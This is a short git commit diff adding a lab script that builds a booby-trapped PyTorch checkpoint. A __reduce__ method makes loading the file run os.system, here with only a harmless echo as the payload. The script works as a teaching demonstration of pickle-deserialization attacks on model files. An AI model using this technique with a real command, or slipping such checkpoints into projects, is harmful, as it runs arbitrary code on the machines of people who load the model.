init commit
This commit is contained in:
18
lab2/good_model.py
Normal file
18
lab2/good_model.py
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
import torch
|
||||
import os
|
||||
|
||||
class MaliciousPayload:
|
||||
def __reduce__(self):
|
||||
command = 'echo "\n[SECURITY WARNING] Arbitrary code executed successfully!\n"'
|
||||
return (os.system, (command,))
|
||||
|
||||
dummy_model_state = {
|
||||
"weight": torch.randn(3, 3),
|
||||
"bias": torch.randn(3),
|
||||
"exploit": MaliciousPayload()
|
||||
}
|
||||
|
||||
checkpoint_path = "compromised_model.pt"
|
||||
torch.save(dummy_model_state, checkpoint_path)
|
||||
print(f"Malicious checkpoint saved to {checkpoint_path}")
|
||||
Reference in New Issue
Block a user